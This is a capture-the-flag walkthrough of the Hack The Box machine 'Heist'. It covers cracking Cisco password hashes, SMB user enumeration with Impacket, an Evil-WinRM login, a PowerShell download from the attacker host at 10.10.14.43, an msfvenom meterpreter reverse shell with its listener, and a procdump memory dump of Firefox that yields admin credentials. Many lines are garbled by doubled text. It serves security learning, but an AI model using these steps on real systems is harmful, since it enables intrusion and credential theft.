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Port Scan



Information Gathering

Port 80
Login as Guest
issues.php read posts



Usefull attachment, maybe is a rabbit hole

secret secret 55  $1$1$pdQG$pdQG$o8nrSzsGXeaduXrjlvKc91$o8nrSzsGXeaduXrjlvKc91  

rout3r password rout3r password 77 0242114B0E143F015F5D1E161713 0242114B0E143F015F5D1E161713  

admin privilege admin privilege 1515 password  password 77 02375012182C1A1D751618034F36415408 02375012182C1A1D751618034F36415408  

Possible usernames

admin
rout3r
hazard or Hazard

Possible passwords

0242114B0E143F015F5D1E161713 (password 7
02375012182C1A1D751618034F36415408 (password 7
pdQG$o8nrSzsGXeaduXrjlvKc91 (secret 51



Crack The Hash

Type 7 Cisco Password

online tool : cookbooks - passwordcracker

0242114B0E143F015F5D1E161713 = $uperP@ssword

02375012182C1A1D751618034F36415408 = Q4)sJu\Y8qz*A3?d

https://www.ifm.net.nz/cookbooks/passwordcracker.html


Secret 5 Cisco md5

$1$pdQG$o8nrSzsGXeaduXrjlvKc91  = stealth1agent

SMB Login



valid credentials : hazard:stealth1agent

Impacket

secureauth - impacket explains the use of each script

As we know the target machine run the smb / msrpc so we will focus in smb / msrpc scripts

https://www.secureauth.com/labs/open-source-tools/impacket/


I will use the lookupsid.py in oder to find usernames

python3 lookupsid.py heist.htb/hazard:stealth1agent@10.10.10.149python3 lookupsid.py heist.htb/hazard:stealth1agent@10.10.10.149  

result

┌──┌──((alienum㉿kalialienum㉿kali))--[[/usr/share/doc/python3-impacket/examples/usr/share/doc/python3-impacket/examples]]

└─$ python3 lookupsid.py heist.htb/hazard:stealth1agent@10.10.10.149└─$ python3 lookupsid.py heist.htb/hazard:stealth1agent@10.10.10.149                                                                                                                        

22 ⨯ ⨯  

Impacket v0.9.22 - Copyright Impacket v0.9.22 - Copyright 20202020 SecureAuth Corporation SecureAuth Corporation  

[[**]] Brute forcing SIDs at  Brute forcing SIDs at 10.1010.10.10.149.10.149  

[[**]] StringBinding ncacn_np:10.10.10.149 StringBinding ncacn_np:10.10.10.149[[\\pipepipe\\lsarpclsarpc]]  

[[**]] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 Domain SID is: S-1-5-21-4254423774-1266059056-3197185112  

500500: SUPPORTDESK: SUPPORTDESK\\Administrator Administrator ((SidTypeUserSidTypeUser))

501501: SUPPORTDESK: SUPPORTDESK\\Guest Guest ((SidTypeUserSidTypeUser))  

503503: SUPPORTDESK: SUPPORTDESK\\DefaultAccount DefaultAccount ((SidTypeUserSidTypeUser))  

504504: SUPPORTDESK: SUPPORTDESK\\WDAGUtilityAccount WDAGUtilityAccount ((SidTypeUserSidTypeUser))  

513513: SUPPORTDESK: SUPPORTDESK\\None None ((SidTypeGroupSidTypeGroup))  

10081008: SUPPORTDESK: SUPPORTDESK\\Hazard Hazard ((SidTypeUserSidTypeUser))  

10091009: SUPPORTDESK: SUPPORTDESK\\support support ((SidTypeUserSidTypeUser))  

10121012: SUPPORTDESK: SUPPORTDESK\\Chase Chase ((SidTypeUserSidTypeUser))  

10131013: SUPPORTDESK: SUPPORTDESK\\Jason Jason ((SidTypeUserSidTypeUser))  



SMB Login again

valid credentials : chase:Q4)sJu\Y8qz*A3?d



Evil WinRM

evil-winrm -u chase -p evil-winrm -u chase -p 'Q4)sJu\Y8qz*A3?d''Q4)sJu\Y8qz*A3?d' -i  -i 10.1010.10.10.149.10.149  



WinPEAS

> > $w$w =  = New-ObjectNew-Object System System..NetNet..WebClientWebClient  

> > $url$url =  = "http://10.10.14.43:8000/winPEASany.exe""http://10.10.14.43:8000/winPEASany.exe"    

> > $file$file =  = "C:\Users\Chase\Documents\winpeas.exe""C:\Users\Chase\Documents\winpeas.exe"  

> > $w$w..DownloadFileDownloadFile(($url$url,,$file$file))  



WinPEAS

> > ..\winpeas\winpeas..exe > outexe > out..txttxt  

> > typetype out out..txt txt || more more  

Firefox credentials exists at

C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Profiles\77nc64t5.default\key4.db

WinPEAS suggests to run the SharpWeb
I couldn't do something with the key4.db

https://github.com/djhohnstein/SharpWeb


Get-Process



MSF Console | Post Gather Firefox Creds

payload

msfvenom -p windows/x64/meterpreter/reverse_tcp msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTLHOST==10.1010.10.14.43 .14.43 LPORTLPORT==443443 -f psh -o meterpreter-64.ps1 -f psh -o meterpreter-64.ps1  

listener

msfconsole -x msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.43; set lport 443; set"use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.43; set lport 443; set  

ExitOnSession false; exploit -j"ExitOnSession false; exploit -j"  

download the reverse shell

> > $w$w =  = New-ObjectNew-Object System System..NetNet..WebClientWebClient  

> > $url$url =  = "http://10.10.14.43:8000/meterpreter-64.ps1""http://10.10.14.43:8000/meterpreter-64.ps1"    

> > $file$file =  = "C:\Users\Chase\Documents\meterpreter-64.ps1""C:\Users\Chase\Documents\meterpreter-64.ps1"  

> > $w$w..DownloadFileDownloadFile(($url$url,,$file$file))  



MSF Console | Post Gather Firefox Creds



Gather Firefox Creds Failed

run firefox_creds failed



ProcDump

Thanks to ippsec

Download : ProcDump

As we know we will use a firefox pid

https://docs.microsoft.com/en-us/sysinternals/downloads/procdump


procdump64

**EvilEvil--WinRMWinRM**  PSPS C:\Users\Chase\Documents>  C:\Users\Chase\Documents> ..\procdump64\procdump64..exe exe --accepteulaaccepteula  

**EvilEvil--WinRMWinRM**  PSPS C:\Users\Chase\Documents>  C:\Users\Chase\Documents> ..\procdump64\procdump64..exe exe --ma 6216ma 6216  

Download the file locally



Find admin credentials

possible credentials : administrator:4dD!5}x/re8]FBuZ

Root


